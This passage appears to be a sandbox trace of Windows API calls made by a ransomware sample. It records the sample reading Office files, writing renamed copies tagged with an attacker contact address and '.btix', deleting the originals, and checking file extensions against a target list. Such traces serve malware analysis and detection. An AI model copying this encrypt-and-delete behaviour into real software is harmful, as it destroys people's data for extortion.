"c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0x220 [0140.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.761] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=621986) returned 1 [0140.761] CloseHandle (hObject=0x42c) returned 1 [0140.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0140.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.816] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.816] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0141.180] GetLastError () returned 0x0 [0141.180] ReadFile (in: hFile=0x42c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x97da2, lpOverlapped=0x0) returned 1 [0141.221] WriteFile (in: hFile=0x4c8, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x97db0, lpOverlapped=0x0) returned 1 [0141.231] ReadFile (in: hFile=0x42c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0141.231] WriteFile (in: hFile=0x4c8, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x10c, lpOverlapped=0x0) returned 1 [0141.231] SetEndOfFile (hFile=0x4c8) returned 1 [0141.231] CloseHandle (hObject=0x4c8) returned 1 [0141.231] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.231] SetEndOfFile (hFile=0x42c) returned 1 [0141.351] CloseHandle (hObject=0x42c) returned 1 [0141.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0141.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.449] lstrlenW (lpString=".doc") returned 4 [0141.449] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.449] lstrlenW (lpString=".docx") returned 5 [0141.449] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0141.450] lstrlenW (lpString=".pdf") returned 4 [0141.450] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.450] lstrlenW (lpString=".xls") returned 4 [0141.450] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.450] lstrlenW (lpString=".xlsx") returned 5 [0141.450] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0141.450] lstrlenW (lpString=".ppt") returned 4 [0141.450] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.450] lstrlenW (lpString=".zip") returned 4 [0141.450] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.450] lstrlenW (lpString=".rar") returned 4 [0141.450] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.450] lstrlenW (lpString=".bz2") returned 4 [0141.450] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.450] lstrlenW (lpString=".7z") returned 3 [0141.450] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.450] lstrlenW (lpString=".dbf") returned 4 [0141.450] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.450] lstrlenW (lpString=".1cd") returned 4 [0141.450] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0141.450] lstrlenW (lpString=".jpg") returned 4 [0141.450] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.923] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.923] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0141.924] GetLastError () returned 0x0 [0141.924] ReadFile (in: hFile=0x4a0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0141.977] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0141.978] ReadFile (in: hFile=0x4a0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0141.978] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0141.978] SetEndOfFile (hFile=0x4b4) returned 1 [0141.978] CloseHandle (hObject=0x4b4) returned 1 [0141.978] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.978] SetEndOfFile (hFile=0x4a0) returned 1 [0141.980] CloseHandle (hObject=0x4a0) returned 1 [0141.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0141.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.981] lstrlenW (lpString=".doc") returned 4 [0141.981] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0141.981] lstrlenW (lpString=".docx") returned 5 [0141.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0141.982] lstrlenW (lpString=".pdf") returned 4 [0141.982] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString=".xls") returned 4 [0141.982] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString=".xlsx") returned 5 [0141.982] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0141.982] lstrlenW (lpString=".ppt") returned 4 [0141.982] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.982] lstrlenW (lpString=".zip") returned 4 [0141.982] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString=".rar") returned 4 [0141.982] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString=".bz2") returned 4 [0141.982] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString=".7z") returned 3 [0141.982] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0141.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.982] lstrlenW (lpString=".dbf") returned 4 [0141.982] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.982] lstrlenW (lpString=".1cd") returned 4 [0141.982] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0141.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0141.982] lstrlenW (lpString=".jpg") returned 4 [0141.982] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.319] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10631) returned 1 [0142.319] CloseHandle (hObject=0x530) returned 1 [0142.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0142.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0142.320] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.320] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.321] GetLastError () returned 0x0 [0142.321] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2987, lpOverlapped=0x0) returned 1 [0142.373] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2990, lpOverlapped=0x0) returned 1 [0142.374] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.374] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x104, lpOverlapped=0x0) returned 1 [0142.374] SetEndOfFile (hFile=0x3bc) returned 1 [0142.461] CloseHandle (hObject=0x3bc) returned 1 [0142.462] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.462] SetEndOfFile (hFile=0x530) returned 1 [0142.464] CloseHandle (hObject=0x530) returned 1 [0142.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0142.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.467] lstrlenW (lpString=".doc") returned 4 [0142.467] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.467] lstrlenW (lpString=".docx") returned 5 [0142.467] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.467] lstrlenW (lpString=".pdf") returned 4 [0142.467] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.467] lstrlenW (lpString=".xls") returned 4 [0142.467] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.467] lstrlenW (lpString=".xlsx") returned 5 [0142.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.467] lstrlenW (lpString=".ppt") returned 4 [0142.468] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.468] lstrlenW (lpString=".zip") returned 4 [0142.468] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.468] lstrlenW (lpString=".rar") returned 4 [0142.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.468] lstrlenW (lpString=".bz2") returned 4 [0142.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.468] lstrlenW (lpString=".7z") returned 3 [0142.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.468] lstrlenW (lpString=".dbf") returned 4 [0142.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.468] lstrlenW (lpString=".1cd") returned 4 [0142.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0142.469] lstrlenW (lpString=".jpg") returned 4 [0142.469] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.469] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11614) returned 1 [0142.469] CloseHandle (hObject=0x530) returned 1 [0142.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0142.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0142.470] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.470] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.471] GetLastError () returned 0x0 [0142.471] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0142.490] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0142.491] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.491] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1 [0142.491] SetEndOfFile (hFile=0x3bc) returned 1 [0142.491] CloseHandle (hObject=0x3bc) returned 1 [0142.492] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.492] SetEndOfFile (hFile=0x530) returned 1 [0142.496] CloseHandle (hObject=0x530) returned 1 [0142.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0142.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.500] lstrlenW (lpString=".doc") returned 4 [0142.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".docx") returned 5 [0142.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.500] lstrlenW (lpString=".pdf") returned 4 [0142.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".xls") returned 4 [0142.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".xlsx") returned 5 [0142.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.500] lstrlenW (lpString=".ppt") returned 4 [0142.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.500] lstrlenW (lpString=".zip") returned 4 [0142.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".rar") returned 4 [0142.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".bz2") returned 4 [0142.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.500] lstrlenW (lpString=".7z") returned 3 [0142.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.500] lstrlenW (lpString=".dbf") returned 4 [0142.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.501] lstrlenW (lpString=".1cd") returned 4 [0142.501] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0142.501] lstrlenW (lpString=".jpg") returned 4 [0142.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.501] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10623) returned 1 [0142.501] CloseHandle (hObject=0x530) returned 1 [0142.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0142.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0142.502] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.502] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.504] GetLastError () returned 0x0 [0142.504] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x297f, lpOverlapped=0x0) returned 1 [0142.529] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, 